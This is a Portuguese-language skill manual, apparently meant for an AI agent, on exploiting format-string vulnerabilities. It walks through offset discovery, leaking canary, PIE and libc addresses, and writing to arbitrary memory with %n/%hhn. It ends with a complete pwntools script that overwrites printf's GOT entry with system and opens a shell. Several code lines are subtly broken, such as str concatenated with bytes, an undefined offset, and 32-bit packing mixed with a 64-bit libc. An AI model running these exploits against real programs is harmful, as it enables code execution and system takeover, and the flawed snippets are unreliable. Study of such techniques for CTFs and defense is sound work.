O que exploração-de-string-de-formato faz?
Manual de exploração de string de formato. Use quando funções da família printf recebem strings de formato controladas pelo usuário, permitindo leituras arbitrárias da pilha (%p/%s), escritas arbitrárias na memória (%n/%hn/%hhn), sobrescrita de GOT/hook e vazamento de canary/libc/PIE.
Visão Geral
Esta habilidade documenta as técnicas para explorar vulnerabilidades de string de formato. O ataque explora o fato de que printf (e similares) usam a pilha para obter argumentos quando uma string de formato é fornecida. Se o invasor controla essa string, ele pode ler e escrever em posições arbitrárias da memória.
Pré-requisitos
- Conhecimento básico de assembly (x86/x86_64)
- Familiaridade com conceitos de segurança como GOT, PLT, canary e PIE
- Ambiente Linux com
pwntoolsegdbinstalados (ou equivalente no Windows)
Passos para Exploração
1. Identificação
Encontre um ponto onde uma função da família printf recebe entrada do usuário diretamente:
printf(user_input); // Vulnerável
2. Descoberta de Offset
Determine o offset onde o primeiro argumento controlado aparece na pilha:
./vuln 'AAAA.%p.%p.%p.%p.%p'
Ou use pwntools:
from pwn import *
p = process('./vuln')
p.sendline(b'AAAA.%p.%p.%p.%p.%p')
print(p.recvline())
3. Leitura Arbitrária (Vazamento)
Use %s para ler strings em endereços específicos, ou %p para ler valores da pilha. Para vazar um endereço na GOT:
# Supondo que o offset seja 6
got_puts = 0x804c000 # Exemplo de endereço
payload = p32(got_puts) + b'%6$s'
p.sendline(payload)
4. Escrita Arbitrária (Sobrescrita)
Use %n, %hn ou %hhn para escrever valores:
got_printf = 0x804c010
system_plt = 0x8049030 # Endereço de system()
# Escreve system_plt byte por byte
payload = p32(got_printf) + p32(got_printf+1) + p32(got_printf+2)
payload += b'%' + str(system_plt & 0xff) + b'c%6$hhn'
payload += b'%' + str((system_plt >> 8) & 0xff) + b'c%7$hhn'
payload += b'%' + str((system_plt >> 16) & 0xff) + b'c%8$hhn'
5. Vazamento de Canary e PIE
- Canary: Leia o canary da pilha (geralmente em um offset fixo) usando
%p. - PIE: Vaze um endereço de retorno ou um ponteiro para código para calcular a base do binário.
- libc: Vaze um endereço da GOT e subtraia do offset conhecido da libc.
Exemplo Completo (pwntools)
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')
# Vazamento de canary
p.sendline(b'%13$p') # Ajuste o offset conforme necessário
canary = int(p.recvline(), 16)
# Vazamento de PIE
p.sendline(b'%11$p')
pie_leak = int(p.recvline(), 16)
elf.address = pie_leak - elf.symbols['main']
# Vazamento de libc
p.sendline(b'%7$s' + p32(elf.got['puts']))
puts_leak = u32(p.recv(4))
libc.address = puts_leak - libc.symbols['puts']
# Sobrescrita de GOT (exemplo: printf -> system)
got_printf = elf.got['printf']
system_addr = libc.symbols['system']
# Escreve system_addr em got_printf
payload = fmtstr_payload(offset, {got_printf: system_addr})
p.sendline(payload)
# Agora chamar printf com '/bin/sh' executa system('/bin/sh')
p.sendline(b'/bin/sh')
p.interactive()
Dicas e Boas Práticas
- Use
%n$ppara acessar diretamente o n-ésimo argumento (ex:%7$p). - Para escritas, prefira
%hhn(escreve 1 byte) para maior controle. - Ferramentas como
pwntoolspossuem funções auxiliares comofmtstr_payload(). - Sempre verifique a arquitetura (32 bits vs 64 bits) — os offsets podem variar.
- Em 64 bits, o endereço deve estar na pilha já que não cabe em 4 bytes.
Plataformas Suportadas
- Linux (x86 e x86_64)
- Windows (com adaptações mínimas devido a diferenças na estrutura da pilha)